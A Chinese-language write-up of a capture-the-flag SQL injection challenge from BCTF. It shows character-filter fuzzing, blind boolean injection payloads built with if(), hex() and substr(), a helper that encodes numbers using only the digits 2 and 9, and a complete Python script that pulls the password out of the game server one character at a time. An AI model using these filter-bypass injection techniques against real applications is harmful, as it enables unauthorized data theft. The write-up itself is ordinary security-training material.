BCTF一道注入题

emmmmm... 比较尴尬...这道题是比赛之后解出来的..出了点小意外.... 好吧,这道题思路说一下... 依旧是Nu1l的那位出77777的师傅出的题...这个是第三关... 开始测试的时候发现过滤的东西还是很多的... 单字符fuzz一下, 发现可以使用的 ['"', '#', '$', "'", '(', ')', ',', '.', '2', '9', ';', '>', '?', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '[', '\', ']', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '', '\x7f', '\x80'] 不能使用的 ['!', '%', '&', '*', '+', '-', '/', '0', '1', '3', '4', '5', '6', '7', '8', ':', '<', '=', '@', 'J', '^', '_', '`', 'j', '{', '}', '~'] 一开始的时候利用思路是发现按位或没过滤,那么可以对数字进行按位或 条件成立异或2,成功 条件不成立异或'a',失败 然后又发现if,括号,引号都没过滤,那么简单构造payload

1
if(pw>'{flag}',2,'a')

发现成功注入,这里其实这道题已经做出来了.....只是最后提出来的是大写...按小写交一下就ok了.. 不过这也是比赛之后写出通用脚本才知道的了... 当时以为姿势不对,又想了蛮多方法,后来美工姐姐说用了<,然而我<是在黑名单里面,那么出题人应该不是单字符匹配的 既然能用<,那么很快我就想到,有数字2,9,按位或和位移<<和>>可以构造出所有数字,再次测试,发现substr没过滤,但是ord和asc都过滤了,不过无所谓,hex没有过滤,构造出payload

1
"if(hex(substr(pw,{order},29>>2>>2))>hex({asc}),2,'a')".format(order=makedigit(order),asc=makedigit(asc))

这里美工姐姐写了个数字替换函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
def makedigit(n):
digits = ["(2>>2)", "(992>>9)", "2", "(992>>92)", "(2*2)", "(22>>2)", "(2*22)", "9-2", "(2<<2)", "9"]
if n <= 9:
return digits[n]
else:
s = "(2"
m = 1
n0 = n
while n0 > 2:
m += 1
s += "<<(992>>9)"
n0 = n0 / 2
s += ")"
p = 2**m - n
while p > 9:
p = p - 9
s += "-9"
for i in range(0, p):
s += "-(992>>9)"
return "(" + s + ")"

贴出完整代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import requests

def makedigit(n):
digits = ["(2>>2)", "(992>>9)", "2", "(992>>92)", "(2*2)", "(22>>2)", "(2*22)", "9-2", "(2<<2)", "9"]
if n <= 9:
return digits[n]
else:
s = "(2"
m = 1
n0 = n
while n0 > 2:
m += 1
s += "<<(992>>9)"
n0 = n0 / 2
s += ")"
p = 2**m - n
while p > 9:
p = p - 9
s += "-9"
for i in range(0, p):
s += "-(992>>9)"
return "(" + s + ")"

res = ""
for order in range(1,50):
ok = True
for asc in range(33, 129):
data={'flag':'1', 'hi':"if(hex(substr(pw,{order},29>>2>>2))>hex({asc}),2,'a')".format(order=makedigit(order),asc=makedigit(asc))}
r=requests.post('http://3cc7fb1de9db416aabfdfba5dfef3490f3a610e11c3d44fd.game.ichunqiu.com/', data=data)
if "sorry" in r.text:
ok=0
res+=chr(asc)
print(res)
break
if asc == 128:
ok = True
if ok:
break

最后拿到结果 hhhhccchhddddahhhhhh 感觉flag没有设计好,并没有什么奇奇怪怪的字符... 要是一开始来个被过滤的'j',那多舒服啊... 不过思路还是很好玩的,记录一下